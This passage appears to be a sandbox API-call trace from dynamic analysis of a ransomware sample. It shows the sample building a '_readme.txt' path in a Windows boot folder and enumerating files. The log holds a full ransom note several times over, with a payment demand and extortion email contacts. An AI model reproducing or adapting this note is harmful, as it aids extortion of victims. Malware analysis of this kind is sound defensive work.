hHeap=0x35b0000) returned 1 [0117.109] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.109] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0117.109] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.109] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.109] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.109] PathFindFileNameW (pszPath="") returned="" [0117.109] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.110] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.110] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.110] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.110] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.110] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.110] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.110] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0117.110] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.110] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.110] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0117.110] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.110] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.110] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.110] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.110] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.110] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.110] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.110] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.111] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.111] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.111] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.111] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.111] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.111] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.111] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.111] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.111] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.111] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.111] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.111] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.111] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.111] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.111] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.111] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.111] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.111] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.111] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.111] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.111] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.111] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.112] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.112] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.114] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.115] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.115] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.116] HeapFree (in: hHeap=0x35b0000, 